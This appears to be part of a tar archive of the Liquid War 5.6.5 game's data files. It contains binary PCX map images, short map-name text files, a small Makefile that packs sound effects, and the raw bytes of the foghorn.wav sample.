rE''y,y o .KvFHd,`5$HHR@t 5AH<9m Soo/vS//'] gux` lH ^/i;;RM||(C;A5,ffW(&&f'{>99yWۆ cmؘ>>U"ݻi@"  "@iH .(75 9l%5rE45SH5CmS;C$iRСRȺR͒C@Ǻu`H/R*ƹs]E,Rķr[C]ĶoX@'lõmW>&l~jS;$ ll 57RRRil}iR9" 9u(5CR^lx̿|gP7 $55JRSllu˾{fO5'55CR^lvɻvaJ0ydM4'5>RUllǺt`H/'5CRR^lvƹs]E,'>Wm.5ER[lrŸr[C*.F`t/5KRZll~öoX@' 5Og{l '5HRflômW>&(>Wmi/H`tR*AZpR~2Kav7& $;Sj}5~󪪛ulll]RRRR;5555.,C[r llllURRR@555*4MdxĻ{llliRRRR9555&%>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/lwtabto2.txt0000664000372000037200000000001613407756104017123 0ustar travistravisLW3 - Circles liquidwar-5.6.5/data/map/carres.txt0000664000372000037200000000002213407756104016641 0ustar travistravisRandom rectangles liquidwar-5.6.5/data/map/lwtabvid.pcx0000664000372000037200000000225313407756104017161 0ustar travistravis O1,,P liquidwar-5.6.5/data/map/sol.txt0000664000372000037200000000000213407756104016155 0ustar travistravisG liquidwar-5.6.5/data/sfx/0000775000372000037200000000000013407756104014652 5ustar travistravisliquidwar-5.6.5/data/sfx/Makefile.in0000664000372000037200000000035413407756104016721 0ustar travistravisALLEGRO_DAT = dat WAVS = clock1.wav crowd1.wav cuckoo.wav foghorn.wav splash1.wav war.wav all: sfx.dat sfx.dat: $(WAVS) @rm -f $@ @echo Creating $@ @dat -a -t sample $@ $(WAVS) clean: @rm -f *.dat distclean: @rm -f Makefile liquidwar-5.6.5/data/sfx/foghorn.wav0000664000372000037200000005456213407756104017047 0ustar travistravisRIFFjYWAVEfmt ++data"V~~}}}}{xz~||}~xsqqrrtw{~{zwvsieisztgbkz{ustwz||{pkkv~zz~q\Zi}ocfsslv~yvkemzyldbhvjIC\|vvx{~~~iV\p}cUdociu}~~ybS_}zw}ynlnmihiwpZYstiYP^vvL)7nxpyqv~}{ooy|ztw{xwxzvtumi_MOhih{~`ITzĽtnxmXWixwx~}vmo{vol^=<]ogZH]ձsBFksoxcTUduvsf^X]v~jG(7c»}gU9.KΥh)HñgSFUouzwtpc;(Bgvypppog\C(1_ŮtCS~yABayrc_;(Mkrtu~h_]g_3 5tg>KqPTpTLoϲs[arvocRLb~ɻxpq{}rj]G0 +;W߭^AMmvv߱}O;Pijabsx|z{}xwz~nc^eu|J"C~{9 e~On`n|z|uylexxYI=Fzsak~¨q*%]wG#hT fIJc%J}0OE\wgipÙ{u{cQbhS) 3iK-)GJEPzW8jtPDPYrཚoVIbyVA>hDv6̤tsV:BThܨnX^hsjZZgsYLGFU}_Gi5iѦmVA Fv[WRH;PgzfE67*4I]luU4ep,RB`pZ2 ZuKvܢ8"YDZR=:?Ib|x E|8 Aψ>6uykjq{8 5yp;:~%3t;G94f0$Ce{xvy{ʬrRQiz~c+ Yf %ۑuvHSlDjlC'6[ã~mZWlr[LOl` .vEZ+,U_o_QgubkkaGLprLFUmyzt~RFe/?cxb {֯tWF=AGUcrtS727?@RtQ2԰s 4~N4Kr|W x4a֔2&Lxf0"=[rz. CǔR <֏T8&=htqm~ľV =o$'vr]bBa^'@|}:Bn{cJYH >Õ,z]Cd罈[3'MYJALe}͓p\\l}k}pZTrf 0~ls~C>T(DfhTUiƒlf^Z]K3Drx\BIlovN2f̽5Atca|JQзlTP\tkN4&h\S6\߸AN+K|mp@El`& 5Ƒ⑒ėR! Cb\TXlۧ}jqqwoX`cstrlq~{8XCYVyeMT_zԛqlfh_LSmuhTANv/ \i0MӨ] 6{P WsoV: >t# ?siRԆD7zÉK4Q[qnxQOmM :*!o=setk1(G5&-AWkޭjS_}yyxoa^\|8A [q}ؚ3K~(?gZk]Y_fsmeriLZl_EHt%s蹈-^K1clɩgI,-N]D:8GP]}oXՙs?R]#ZU, V'@k%ik6 BnaG /j;>Rks[c|{F,Gl$=k~[UmhȴB#^ӹN4-IhQGlȌhseSyqL0 }y7,H&?q# =UI3@Zlഄmmysv|wqe`|m(,eo; Jb{c zøw[e}w_PRp}[BGUxyt* aHG< ?^o佦|8+Bo]U_rZ<7LfT MIW`<:^iWW^S:,`s9 \ʹl0_fMSby~UY*ŋ`GRyei{ӓjlz[<ƿK Ẍ́=;rpO)'6jjPInEDq{ooaH# ?՗'1COSy< +wtC*5gx^\q{tsl]`u~|wK4t# Vdk%4jǡzٟhXeyv\Tca?.:gy9&dþOT}H ݎ0ba~ĄQ'-r֬]/+Uh]drH LͼjfЍ`KPxpomk;+yЌ.,e|I5DeICţJ&IOTpGBhcjƌosjK J͜Z"rJ3T>4xێX7,T`,+7TscPZjZdxq[atv|oC !~R%ELVwF6n& 6edR>\ۨpmu~xpzjgpv}~}zl# ZKI?d>C[ʑkk{PDThurgiK-5MiM;BU >V!Bk'4lǚmXf`IHFuuNPW&j]|ahpoqz]JIߴ@,_F)[|`b{@J-5A{뽑ulvsfԐipmC .uv8JHA&.}dNJOT`ymeXHoRAQq}v~ygcofT$ ICAzdfWn|hNTjߒU7TbYhĸ^MKTw|zfdѻ|0 )|H,ΙmaIPVYr}w^E0=WnjT;L{IGjtssL6( PϽvLj8s¢}UD2:Gme&QzmZoasrK VÑ8uó<;¼5'tSk[:^kNV}uk˃h{{YD) [v*jq Xs<lŕv[_uYTT[f[fjwiawɾ_QZuoK( 4SjrVQ]_^x{mev~POvg?P{qcVVev9LΒ8 0$Zj5^آrOZtvmT?=>?73\BUKD=|ŌeU' <ҺzXU!T~nf_\M[l& ?TDܢ`V]iou'ŕq$Ni %ɴgkpJ;Nإi6*.^Ҳrߙit~nhY#"rr-A_f޴ٜVLTZ~bI7?_˽xqy{]buzx|~gM#ܔDA䷲nfqpTY݆@;^yl\k}[S]mYdBNGFkrwƍH ɆmʂRRt~zr[TdZ)1JanoXNgNCU76včYHGVL Mxo}ReeEFY^_jh}= \c-(dΏU7&4}ǫդ@5̥M1xp]ŲB)o0QʹjR/Co鵎hdrygA  Mt0H||y¹O,Yoq\Ncjn͕{tl~lQQTn||= T.]i~{e]UYpwtlK]yykuwvuvwnt{v`gmxkq+>bhmp^ȊGw؉\R#5a|mgkaO3=WQ[\X_`+(rӒh5E}ڙhGLRc[0QLuחWWvvOAL`f]`/ (nr^GAZ˖U,Bѓ12ϳ^YjDЯEVaD\²saJ(%YҺobmxJm7AÎhz|ʡg<3%.WziPUbxZ{ukqq`Rfnt~T W˺`D;'=abZxɵiP[jvoiwOEbhboT"VRR°U^jM9bוx䴎rpjvnfW:$4Lf~H#_$>w彘mVEYwpPhC;дJWyYKA_h^sZ$`G3:T~ә_A-'aȄ5 JļRKtk)ti5UO9@[从a>909fȪyjsoDk(T;q巠uU$,afPgyLetv}}aeh~T!9!-pȏ-Yd>n{ɮvt{xZBY~i50Wj[etD9r\[ɢ\'Yf^䱅in}om~_F3?YYaNb@2`ݬtQ98ll2 !{fu-O~s_XWWec)yd7rҮT+Bn4%&Wx%4u7Su4a[^߶fQO7;gx|{wYH{־YD`~_=%с ^YCpψX7!Fm}o]\عb]zabn}zUM`y3'[f jH*rv>O̹o[{lOFWuS&MrB**UЖ1,β)^}`Jbܡpnj`ZWO[gdaM9Dg~A+yԞxOFVod.dxM*I|W1IsF|"JoͼmdcԚaXou? #ͽd1{>(ݝcy 8H[Ϲ\0:rn=[̬~^blqqM a˅H[aDi|fChτK/0@\mkvzwoyw{kXerroj:EβJ3ƚM;ov¸ZfhJAZtqefH6Ko8)鲉YJogˤEQt]ӥf]mspxnfiYXW?Mtx@>{}rZMLpfX7s˟i:Cvf%htdn{S &s~V*9^ïv`h|޻_jv=uƢq"$oxIKKC0?\՜g@>Yh`hlV\|Јbdtkowoc\H$d[N%vףuH;Kjr\Q[ɻlVm`_uiXft}vz~b$"aŦp2:Ksgpue@?\~eHTPI\gZD4Fpǧ?.oZ@dӶ{KodzRo͝vTjN0.DpoOG!yْA$_㻉m]_prhn{~10yu #XD%Mz˻b bٟVE8=ok>5E׫s\d{tUgzlQ,UK KYg®p>el<,kӒVCB;Fռǹ.)¥V Kk^/9uԧ:G}M;?ϿªfS0 ?ĝ}w~~\5oèP h}ɡ`4;.^˴_l}Dah91Qt缕sO:?Unζ{|glufK +' dœY1_ԢsK/-q}ho|kXnoXapr}tii~:HL!iKVOQuŧjj|_VYm|K4ϡ93MIjbO3%xԓb7!(Ec{wutxbogN]y]]tv %pa VP 4x|͹UDljKMfnnjUAtxlřss`-2{o 1cf]; IR AJ(icTdePs~}zra]bkO0  *vFbϒ Qܵ|W8SzɧROrulvhf_bsP'r˕dDYn}߀MK‡SF]ry]ZaTO_vpYIU{|9?j|jmzM.  LǹrTܻrour{mPFEeyulrpnTT_ʦ{Zqͪv@18Q|jms~Ǿzsg`ey|kms{Qcžs+ E㰙wayȠqW]}viZd}{lf`^aolkuT)yniZ^nk`ƭ~1Y贇Т}tgbnmNA5FavzkXXj|S2hأ_D@T ~`B6Goj%Kj!fƠwrqc_W`[X`są4/-Na縎iE7Mx᪍ưk-  Bĵ~%P|GX}O+iŞQ;VXeRLxҵ˺}idieIcɪFB٪r^mœc1dj`s|vƣwbg|xvkbavV +eV2tyF8K纋gawndTU`nzsPOw^ThLD¨tXIl}FGscQ8ШhTOurQG;=[y{srkeOsL)SdšsZWn2 X7A͙SG^er}yui\Z^QYg"@Udi>0V˔q}վP'I}Ē<LozRB:7pȐF31Yk2 m9 G˸|tv|qSQۻU;' jϾ[FUm}UShyxyiiup2PuO; >wźíldʩx~z?  Ab)h@ 9˵[FDo¯XA/ ?ޗ(dugtӞ^7GmuXOVTQXdbOGRrZ.|UV~ެ^+ GʲwkˠkQgwwWGQ^~ve^^I`\M0=}ۺpRAkլ~^h߻|.CepV0:WtñmC}KZPAvȷxQ?Hڔo|ϱhv|fU6:}3ab=:d۪iQ6E~vġupXSc}tuxtbB1 eЩJ8ַznpopLRw›gHIduSNhjPObyW'tĝ{B #Nwٴ~1͐XV٬hls}V-"3F\qy[W~KJta\c͚['!F/*VΔVRlQD\¼nGA_wxnxypK Ac7EwfUToq)MֳR$/K^f2.oȟ28D2bh|ĸaE|̸zdNNrY4ܢH J49loZRYhk C{#&@^s@-DÔǸ@bz/mÍP[fyM?ϲy`VZϳybep|zt]#4иm סL]Ϋa8 Evv]b̫hl{fXVbgsucpĹR!pؒ`Lpºralȴ~oYGQgnN0BtYMnN:dhijy}H'Lvud^}_0Zp@8U}SeZOO=-FcuyZ ]ح[0Nԟqafa\uÎ8 cݓ7MǕG'@[k}pnx|A*VXO9.QrT%bڣԿvG-# &wЯ6#huse֟I,2SșxtuaQH]ĶiozaN? FӃ NO\ت|N.-pthoYTu{uy~~{mZ\k|?=PY.V2A|@Où~x~zXMUiztJ0,Vĥzgma:Lb`XOӫP&NnѦC'hӬ}y~hX\hdgapmUDHcz}zCoڱtAGo軒~jXUsūL0&jܵe5:cQ*%@`lgv^D`V(*bȽǷK3c໡ȥzgjfL RƬG 9zdgX8Wf)(Mԭ|a[WPatpⳀbdk`tl]B+UÅQaoLKitxԩwD#4w~shvzsxlNGe~rtw-%_x6<~ F½ywܶu73^LAYokZ?*;_A$ݢg)Vӥj@5z3-vv&3qŽy_METjzxgXJMYya@{|￉[85]ڪm^N0*`3Aj=:LcckK#Cw9=zʰxĮx[. ^k-*[k[AJ׉dNL|XJGKhzpΕg`{{klrhnkeUA& uy&O}ϼi70Vztykx|uvhPMSpooyYA^J 9Ԇ OξalϴXJdgN^}}qdF..Px` q\6CnتTQ|zRE_u}mfyxmZNUbom[Vat^7GmìybKIjqJLTTh`EOagt~lZZrc]o]TNB44Nyʺvddw}ueK;!HgwjgaB-#)6=GWnå}^:)-:NW^ix~yliǮrO<4Im{\H6=ZέnV;0IoĞ}aK29XֳlWC3EgƢbF6=VzѳnXA8>għfL=9Rv̺x[A4BhͥnQB3Fpξ}XB4@eͦoT@-HmĞ~[G8=Y~ϮoYE0Aiɡ`R<;Qtвw[C2BdǬgR;=NtҶzdG7=\ͱlV@=Ii־fO=5RйoYI8DhãhU;5RxԻu\K5B\ͧjT@7Gkѿ|[I6BX~ͫmY=2Fm|cM2=VӱnXD9AdæcOA]ǭpVA9JkÞcPAAPxͳw]J:B_̲iXJCHcͼjQ<=Tz׿sbRDBSwŲyZB:KgʧlYG=Di§aPGBOrͼzbO?A[εt\NADẔmWLCGcǨjXG?KkţaQIBRp̼|^UHHUyʷw`QHK\zɳvbPEI\ȱt]OHHaIJnZRIL_±qXMJTdªs]PLR`ÿq\RPVa{ýyaPMTf|ǾydVPO\{·x_URS^vſ|eVLNa{¶zeYUU]tgWRVavk_WZcsqb\_er}j_`hxwmfiq~plpt}{tps|yy|}~}~~{z|~~zwxx}}tqrt{zqllqzuhegpxod_dmxzg[\cmwsbYY_lymZSS]l{ȻeSKP]o{˼x]JEN`n}˸lQAAQanǷ^E((9K]t˿U1'+=PfɸnC)#/CXoŭZ4"$7Lb̻uI&,@SkʱZ1 #5H]y¤tE)*?Rg̶]51GWtǥvF%(>Ngͷ]42GXqǨxF!)>M`ѽ^/6FSoɦrA )=L`ѻ[/#8GRsʦq? )Rjʱ[14I\zϿuG (@Pd̵\. 7HXwģwF$*@Od˴]1%5EXx£yJ)!->Of˶b8 &3FVuƦ}L,!);Nf͸e<#"0FZs¨~O*)>Nc̹h>%1EXpëS*#:Mbʻj@Jhym[Qdvmkzx{ZLUpto\czyXPTz|o}m{`FNo]XyrUCbop_fwoRH^ulqv\VOk^Vntmjkm}vrVVU\w{yu{XZo|ac{~v\WdrgNL]~uuj~_Xjnw{sWeeNTYuqdxyznoclrkws}zyhXhwz~tywmswus~q_ZUers|gu}ttykhqjhxrn^X]_Zd|{ys}maSFDa¶x~A.=]noltqfKUw~jtqltX[KHU`ո{|bGOhtvkrk~th|oozeaqnloscNMcYi~sejx|xtqqjhfs|t|sGToynxcckdRi|{us_ukMdȴzeaygjeU}mij]RddqxxZ`n}t^eo|nqxyuvsudm}zji\Xq{stnWTpnnirqtucFLtwrljsdYp~{lcZpjgc}jg[`{u[P\~tovmnd}ƩwlXSf{kejxicov{|{^LUbp®mcrudrghjzeYs|`^ZP^oaabvw|ezX_vmrU[lynHB@l^`]djc}z~nSdutNAeh~`]ibc~ee[`}vzytudkmWNX{vqvv^jpv|xwyt|xrhglba|rzVNaqytpo60_yq}eDJI_sz`glwlWnuvdRm¡{hK2I`zyjUQQ\|ʬ{VTQFVi~plOUiu^\nvxu|h^bpgY\f~\Xi||nzzc@LWer__[Y]y{Ydnnsj}ssjc`snzƢpSPGWwbYQSzzÝq\LNSy|^:/BYssPNy{qZcp|{r}rvohm|yzpwiKHKRozxjppZRjptv|jdhozffrfAIQd{|zu{tbWtywtvp^kqpj`\_jjamwg[ih]zzuvqz}yjtplgi}mY_p|xhf[QglT>K]vw}m``h_^wkiqy~many`]_k|{cE>ARn{}fDFJ_k`rz{z|jps]wunvlnwZM_jP?Oz{r{|XTqvqf_n}{ucZcachks`a^akvtpzXPgs]Q_v|~U3.]~kVeuik~zz`biR\q{wsrjhzoepaNTr|oojte_~XKPi{tkc]T]tyOHOd`hvq|bjrXOdvt`T[ghiu~h^VZgqb\mtwgr~wuxrnztcdbxs`enxoty}jXRPqcwwqcdihmsxues|zttLR\ylO\cciDQ|vuwn]dxpcKXyyS;C_t}}weaZi}xdd\bYwzupm_olikECQ]xa]\it~ur}oX;@dwj\bjhopr~t`nvtuoriuy{rw|wqkHW}uqekztkgw^J@Sa{~{aUdz~tykqludfwlherr~wk\TVTvǾkN2E\tnkycVbocGGPst|pmjWbl{y~lT_{uYY{y}m`dsbenohwm\k~mSQZdvf=@xv_JLv~z\iid|ΨydQTXhf^~zaguzw}l{vRDO\lin^Tb{tf~{{xdityzrztyry}zsw~dZqtrxfSR|abfdsp|xjdXi|zjg}srxxw~ynZ\u}ugfjo{_hwwnz`hxqywryw`Y|v~|gPPtkAEj^DarKTi|w{ud{{k^ivyjra}rhdyL21Del66br]]srOd{_SPqn}cTTzaQY}jmkcct}WBRy~ofVSd{wHR]ynSM`sהM75@]Ťt}s_xXJ^yxJQWrlgCYgeywixocQEWqηf[aot|zupI?H`^Trfh^QahXMfnbaf}zwVXuw{unZOVR('dq|uPVpuiM^uU0-zch}zqlpeXgdm]>`~ufVi}ziUW]ihfMkwgvjlnjplss|z~jfɵvVUKezud~sq~dkuwo{vehl~lOCTiotko|cS^xwgnjUe_Nfqubua>Y_cbct}{m{jf͸|^aWrtonzhe|Z.+>{|yqjpkrTHp}wf^f~kkhb]Qwޜ[Q]aZ^tuOIY~{TIDHqȞu|~sX>7relifi_Rgafнobpr`yl3.jkKT~q[\Puvh[[Ngy?MuL;BgllemhizrxvmzxrwMK||Z[t\VpzpwmUZicjcDHMHozj]Odq{opűuP9I__^v{wtryzlow@ b⿬WIj{N,)GltXWnppnrmwvZW[fphfvt\cvhbyuqMIenζ}aBScMTL`{jcinXDKSkv?Mhuyqkgoyhs~zbO\WkvxUgl[fzfmuUMdtt{~qYrõkblf[|mZ~WW`dhQ7Pdypb=E^iQa{{`xcSdrNNa}sqivqbhvutb=*2[Ű^$,Fu~ikyayoWFijSkx{],2^~nvsiqT:If|}R>6RrodJKQ|sommx{j\APŝn{_C-KN0RzhkZCb{edsVJ6`zU7Phqn}g\mwRQcK2Irc/;zʽtL0FNjfbzz~Kh`Noice\{1%C[ݯubYog>Fhfy^Yo}hgzstXHQrVL|mgbavzvcX_jxls|eFN\mkr|ծb=3^bj}kR[[Ue|yČY3B[x~~x\YXpoprb9!YڰYAi~{errqttdhykqx|qna^pkAbmysqkod90Dhȴuxr`eifrqgik|}v}}UEPa{nr~]Ocxqttqjjjl~mnhykQLOhî\E\[Qiap|g}ZH\}utl^`fs`KSoy{~jWfu}i]RWaa}|ov~|ZJ`{o}mZ^_~vpsru}rkXJn|lgJ:Flzj\c{udY`nlL6K}xp}xwXN]hkxz\N4>mxecl{{tilh9(2S֖FJoQ<>PsŽph~]Mu`_{tWa~ézmtbD>Sf[pzyjwnhSRkwxzttgRV~}lw{xmY]vry{zfldaqtkgi`u]2R}jpnaNS{jlhu~yvnwvd^agyxuvvvivxvmgUczgfpd^pqfxfJFTxc^Y[uwoobTHRnh`\[ozcu\jztggbwjl|uj^j}\OZZwWTim~hqo|{trnoeBbxhitszxyvSYix}fdyzlORp}uunsqturcU[tvoouyf}yenz{}eQUms][frp}uyz|ofgx{wvhvmrgoh`ywvx}y|xed_Zq{voXWk{ywxx}~dOdjU`q}{wvsoj{sc\h{{xr}zjjy}ehs~ugi`rbkssa`qo^kj{{cJ\wxu}dW\lofevx~fwme|tmhakzygznlrokuny~EC~|`Zfqwvywvyw}gmp|u}|{rkv}v`gp~tvqp}oken|s_\eixwtye^fowjkx|{vxa}lcbvyo~[W[i||xyhonnmqp[l{pdxr^[{tn~f_mvzr|zx~~{w||w|~^Sdzv~{r}~``p}~s{plyt||v`adz}~xVTdKKZRiyx|xu}uysdgf|su{ywgvl]fynd^q}sxyyo_^faP^ww^OWqpoulo||YQZxw~utu|rrw{ceSJLtOBUt{vWE_xzviv}tX`vpkztywc[s~veynl}}nyifkou~uvnRP_ng__|yXhrdYdtUVm{}rfid]Oguzt{WWpx|qt~nJLrkdVXhuwpvkWdicq]ktqmlx{okgego}n{zTJXmvnyahvuuxvzzbGXe\Xn|zwrir_T`pyhcfpumZq[G^lyiafyvdWbgrlapl[rwdZ_`w|ht`LKbpm|~rpyyguuECSh|~om~z{]Rh~ud[V[p~pp~uXO]Uiou^KMi~{tzzyyppyW[^{}o}wvl`h|ZE@Rl|~f[Xextz~jbetvpr~khi|kWbhng`g}e_iv~~]_pcbmhdl~y~yWNTjndfnku^rnYZ`u~{ncdmytu}}^\\l|x{~xj`[ctcQP\gyotppjeh~eLK^~~u}k_bmmZXl|`c}v`ktZ_jl~vs`voj~uyj\{s`[r~rmp\R]xkhptuq]n~eedb]xfSUmxio|f][gzwbZvjcx|xolcYku~{tqoxreoxfSkurw}opsoTFch`ns~S7J{{r{XBQqxYYwtbogpUOk|z~fGVxwjV—hWn|vo]dkdnhMevso[Vp|{JZxdrviuySisrT>?u]D^vwuuxq_tt^{tFOvlg{uhnYfw3%[rj~rkthNO|xyZ_fwksRkvvF;eriflm~{`nmaiUXm|hF`|]oic~a:6lwZbnwi]Zyx̚dSmzevcZxpXvmlcy_mw{uPYxebuhka~ijsU]vyb_izjfji{a--[volvVe͐JQ~dL}ixwP_řxjr^[~rz}QfyLbLhXmqU8d`pԟw~zLJ|teWphJaƓSWpMI}guu_{|[6ZeR}l^idR^ryW|grbG}\[n\WNxfOiiMq_Ejc|`s}=G`JPWTmPe}vWp_LofxXTwxYntyN|iSogpR`jlm_0TѡowK?^P?Aۯnb.>hfr\oxduzkNrZIT^Mkdys\g^et~nc>_yotZ_b~PawlϭZVpf]TPyqfxq\heE]twiKcvvsk}w;XqV|I_y{;BvqYodExp}OtytuojZKfnAjrI[saorG`G>̑>{WAiHVnRhZ]rpnA{iMoWtlOWpSrhAhpxhctDfwfÂlmNxP{aS]ȨsDMde@_me|d5{[aPul`fV}5Ru_f`Utl=z}>dɷpg=GmşW~INdb<|NIUsrBȀt̤7N^2Kf̵k{['9zNĒwKZ{CkDIsǗZI2~TyKb~ʻsZ M8~lK[MjۻR`iCcİ\cE\USo~p\ʃ)]lgIv^Py^}[GlxN}^mW~jISf[}k2P]A|ƞlKCVicivh}iBYZ:fr˻qZ5wWb|PLjo_c`)dg~_qMjt~>hwnYesXqk/ZROnz‚-hZa\zd7~rCjoWLTzV{o}(Kb]t3TAEV_TncǴOjKr^~ĚHmGZl/XnưdP#fu`$nhY`1`uJfALx@kn;Aly]rxHd`7diXN`pEWvjaVZlf[jkJoxlrya?}[trcVsjEs{QmkRo`Owfo|ocetPE~b]sq{G[pc_vkdlktWYm`Dpk?_zhttgmr:SoMuuvnTo~[F_y~m5N|fnakxqIWY6\ҦZ-[jokfwNRѣq}zFEhmeo|wnRbhJQzXYkUcjhjodr_F{zKqmwuzXUM}hU:ltkZ@{a;w|lJ?foDr\ɝgM:}\h~Vl|]xxMQ3wduz@ dtydRqLz]WrF;ōtQ}fDjmIkypq\p]=t|mtgwjtlQfe~}Vm_@dwer`Ov~mevgl};NvW]ugXwl7apcf}bFFgm\~omXbhevnh}W[mLs{sy|awZUzRsUbqvXUacfa{WhcNufoSz[̒fyFjQ{jn^q[eiMxhLHdgiLI|rZz^rtmnDZk[]m~jUJWZXyuRTguc`flmtZ{qDVzw|xotm}oUb~zn~ytqnkupnriqwMFr|z{jilXhWll\vwk}Vcwxwqv_Pszikxln_ioxcu|sx~`py^Ssr~Ucm}dysXubaqPR{_?wtvU]]\lc}lyQjxxlvndviojyfkci~[M}w{ou{}kEjo\{rrvefudqtpgx~]qlQhqeu_PivYde{vhl_P|oe\`qbnrpGdzkrkz|znUSxy|zZf|{PhRseV\T\ci~nope~bswgm~lsgGjli}sWhs\xLuh_bpUvqisuNodwfpCw{_qYT8wwdq^c`b[xUhjZ~sim\yfMAvVn|Q\eqsamq}}n{dX{mr^mb~~^Iu}cunSkeskiw^~s~p[nprWq}_kv{bnU]cfgd`Y{baKi]iePxaIkwGv^s:p}ErŞSxsAyOcg~yFuVnq`\KA{u{yZUuwRzpM|dzKS]iPcNPglrVP:wVG~xR|Wj}Prb`Zlp}^OHPQmd\yKlbVpZh^[~WY|vYmaaYy^oWrycbjpXsrvmmk|tycJe\nnsgpFecmncr_lSUcdcZcljpQ^qG\cgrmlWv{XzYr^hve}kV|j|lNYcS|oeiChfZukhp`gdeorvtbdVS}llgs`uhkuwwhhjXk{~unha}uz|j[uvZhZFpVuuyuEMmgbdXrMv|bzqc`>zwUvm\[YkMml_sgoYj}jxjj^qrX_|rwam]gkjztomgpIau`l_{in_Rjh|x_}rGLvii~SYUFxgtmUj`gzvsfiRbjjeke^z^d}dffb_~gem[{ohgLnxgw\seoeGzatkQnVsS]tY~r_loT{ZsnfplvuWbue[zbnoLrs]eEgoWx6Rh]q?\^``uYwFNmH`gc[ct\WPiNsb]}Rf_c}RVm\cacRyue{WX~nlmnY>aj\lgkM}YJuF]q`RMxb`TdEgm\VUa\zeQ`mWaUZWY{\~{Y\{atuY|qTqnKmYUuNbqrLphpf^bPlv|VrtFtnxrZhr~tt\RZR`fTn^xtd`r~l~b\l|lzhnR|hpjxl\^lb`\v|~|\Xl^~rtd^br~jfRj|n`fXh~zvdlRr|xznb\j~pz^`phjnjZnn~nrVhtnt\jdhl~|vj^\xz|hRtdjpptj^`||xF`|~~xjldN`h84fVznPrVzfrV&@Jp6dvBTnvnVvpl\L~|hVZ\ZlzzbnzBhhzv@\jr~X\|fdn@XtV~Zh\Lln\Bf|dnJhVZ`v~FPrJFv`xhPvFbdrpJD\LLpLVh`BjTt:TpZBnbDx\b4pvbh4n^XtNX8ljR2|jbZJ|NRjdHBlrHH\fZb|<^dtz8VXJZnD|`rf,p`h>`nRvLlZB|dR8ztb^JnRZtZ@NrjLF|\p^T~@blhtBT\TNrN~Zjf@ffjFVxVR^XP\^@d|nlFf``VxvTR|xr^@thzjRvpZ`tnrLNn|RH|tht^lxdTZtvHZ|rX^pj^tnzxfHd|x*hNrRpbrZhNtn`RDLP6"2jvn4\^xj:rjPzfxPfNHj^`Xfr`n^xdtRtvjb`zzLvbpx\ppNv\~jjFvd|ZnXjZjx`Znfb|`rldpvbr^tpxT|pjprb`xjrffnhzF~Tv`Z^N|Vl|Vjvjtv|rvjLJhffdrv`pVrbPdhtVPp~Zhv|xX~vZ~~|~pzXZnvLrpnbf|hbV||z~Vd|~zjjtfrxhrztZntdnllzzprnhnpxrRp|hrzdjtfrr|t|rb~rp|xdtrtn~hntxxZ~~vlblvl~jrpb~pjz~~t|f^xzr|jtfzvnznpz^~tzvnjvnzxrxvvnnfr~ldblnb|ntpj|xrp~`hz~r^pzvrfxrrlVvvdtZzrjxlrlzx\zxfjZtf|bvhzz\|nnVdf`rrrdthhVpz\|Tvjhlpt^zT|v\n\rxhvfl^~ZpZ^`z\^j\vhzzXnZnX|^nhplnvRtZtThdl~`znnV``XdltT`jVzfzPf\xxJvVDrfPt~NX"fXL~,hxrnZthT`R^Tttr\ll8~l`^`RNPXtĂP6lT^\xbzJJLFzlJhjppdprbtxPvhRPlnl~Xrnb~Rvxdz\vJpj~fpd|JhZtjVfhPjvj`vz\TRnhJnfx`vRn8vljRv\ldXrNpb^|r~\Jrll``~~|lh|bd^^vDVjzdbXb\Zphb|dvjtXRlZdZjpx|LdrRr|jPxnprp||xllbr>pfvd`Dn~pltjz`r~vnT|vbrzpx^bp^`jvztZtlnzt~tlR\|hrRtnxvrxdjh|pltjnz~jv||ndll`tnxj|rvlphvnxprjlt~|xzrPr`pxndtfdxt~f^^np~fbtznt~|h~vXrh|\vvjz~\jzffbptn~vvrlXzzzLxj|llvtT|rxvj`xtt~rbldhZlppNp^lxpnpfnxpdjhXdn~rRpflnrtzLxzr~n\vzfvphxvvLr~jZ\t\brh`XvlvXb|zdZlpj^vvdrNvvXt`nvbvvhdT|zndpXz|Xzbx\~T~^j^hvVfjn|VxbpXp~F~dpjbhvxX\t|fTxB~jd|,^pb0|zp.^bHhXRtp:xfvdR@hvp^pf|tVhppbzdxbf`z\hxRxB|rn|pTPhvrXhpbvnb^xntvzNjhv~dznlrjplj^b`ptxf\\npvb\bbZrbZzrdzdlpTlvtv^vrpzjjhlVn|~lnnjzrX|h`lzhNr~drzrnnNjx|\bjfvv~dX\~^t~h\n~~Bx~NzFpbl\rtrlbjb0|VPVldThFr|bfttxNzfjLPZ|zZlprh`jRpz|xpLtzrbzbnVZnl|jDxlftpfvjVf|t|b\rft^f|^ltd|n|Z`|tpLjxj|Zd~^`lf@vv\XxnrXnn|FR|lXX|`ndf|pXjrh:hptvXX|Rfn|\Nrll@d~|hp`dbLbRVh|pfRrbftbv~LZ~ftL^jX|tJnLzhnjLVh~TThXXfXTj`nN\hr|Fp|`Zzj^Nprtl@t^xn^j\Pr|TJlzb\zhZdbx|pNPvDbvpdtbhthVpt|j>`xvtLjljV|tn|XB~v\Lfznntdpn\R~FTz~~n``^xZt|jlFd|tP^lzhp`phHtvbllbjt,XxrhZlNjtlXLrvpdhdnlpjbbvnzLRhPdzljHvr|r\N^zlxfXTz|JRfnljPvz~^Nx|v^pjfvP`j~VFpt~|ZlL@npXlfpnn,n|lZxjlnnx`F`~l4h~nvhJTdfJx~fvzjD>T~~pPnxfn|b`VfXh|dzjlrjxZ~`Xj\|vljZRnrp~rBprb~tlpT@v|Btfnrtv|dTdZtV\trp~Pj\\`r^\hTfflR`pV~hLnnfdxdVNxltZrTfznjhtLf``h~f>XtLFbpnbh|p$Z~n~Dpbn^pd\Rh|htZrzl~XzfXjtbj~BRpxvxpFnHl~hjnj`vh|p~btvvnzlfrttjtp|ZlRRr`n`pLft||^ltjztnr^ht||jjrzn||txhpjhpV|rfnxrbtv\nnnpr`Xnvfxdbb|~n^|rx|pj~Rff~rrXd~\|nxjpd~jR^hrtxdpb\fz`jFf~Zn@|Zl|ndVd^|^tbPvn|dhbt|xrtX~ppn~f~z|X~hnjlbjbj|tp|^rhxth~xrnjhvlrpdtpp|vvpvptnpt~phrj~~tlzj`xx|ntzfdjtxpdtllxx~xhn^zxflzltxnndxvzn|lnnlnvtdrjrv~zznbpnxxxtxdlxj|n|